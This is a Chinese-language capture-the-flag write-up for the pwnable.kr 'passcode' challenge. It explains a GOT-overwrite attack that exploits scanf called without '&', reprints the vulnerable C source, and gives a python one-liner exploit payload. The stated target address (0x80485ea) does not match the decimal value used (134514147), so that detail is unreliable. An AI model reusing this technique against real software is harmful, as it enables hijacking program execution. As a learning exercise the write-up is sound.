这道题的难点在于GOT表覆写,理解了GOT表和PLT表的关系就比较好做了。
函数在调用printf等函数的时候需要访问PLT表,而PLT表中储存的是GOT表对应项的地址。
另外一点就是scanf的参数如果没有加&地址符,就会把参数所在栈内的4个字节(我认为是因为题目中要传入%d是四字节的int型吧)当作地址,然后把缓冲区的数据输入进去。(在IDA中看,就是有加地址符,程序会执行lea指令,没加地址符,就会直接执行mov指令)
#include <stdio.h>
#include <stdlib.h>
void login(){
int passcode1;
int passcode2;
printf("enter passcode1 : ");
scanf("%d", passcode1);//没加&,所以系统会把passcode1的值压入栈内,然后执行scanf函数
fflush(stdin);
// ha! mommy told me that 32bit is vulnerable to bruteforcing :)
printf("enter passcode2 : ");
scanf("%d", passcode2);
printf("checking...\n");
if(passcode1==338150 && passcode2==13371337){
printf("Login OK!\n");
system("/bin/cat flag");
}
else{
printf("Login Failed!\n");
exit(0);
}
}
void welcome(){
char name[100];
printf("enter you name : ");
scanf("%100s", name);
printf("Welcome %s!\n", name);
}
int main(){
printf("Toddler's Secure Login System 1.0 beta.\n");
welcome();
login();
// something after login...
printf("Now I can safely trust you that you have credential :)\n");
return 0;
分析程序,发现welcome里开了一个很大的name数组,然后login函数里的scanf没有给参数加地址符&。
可以直接用objdump -d passcode或者gdb ./passcode后使用 disassemble welcome查看welcome函数的汇编
另外就是用scp -P 2222 passcode@pwnable.kr:/home/passcode/passcode /home把passcode源文件拷贝到本地然后用IDA查看。
从上面两个图片可以看出name数组的栈底是-0x70ebp,passcode1栈底是-0x10ebp,而name数组有100个字节空间,所以只要name数组的最后四个字节空间正好是passcode1的值(0x70和0x10相差96个字节)
之后查看GOT表
我们可以让passcode1的值等于0804a000或者0804a004,因为print和fflush都会在scanf函数之后执行,把passcode1的值写成got表的地址,因为scanf参数没有加地址符,所以会直接把passcode1的值放入栈中,也就是got表的地址,然后执行scanf函数,把我们输入的值写入got表地址所代表的内存空间中。
这样之后在调用print或者fflush时会访问PLT表,然后根据PLT表内储存的GOT表的地址访问相应的GOT表项,然后执行GOT表项所指向的程序段落,这样我们就能通过修改GOT表内的内容,来随意控制程序执行我们想要执行的内容。
我们要获得flag就调用login函数里的system函数,地址是0x80485ea。
最后构造playload=" 'a'*96 + '\x00\xa0\x04\x08' +'\xea\x85\x04\x08' "
因为scanf是要求%d输入,所以0x080485ea=134514147
python -c "print('a'*96 + '\x00\xa0\x04\x08' +'134514147\n')"| ./passcode
https://blog.csdn.net/qq_18661257/article/details/54694748
https://www.cnblogs.com/binlmmhc/p/6189514.html
https://blog.csdn.net/qq_33528164/article/details/70505151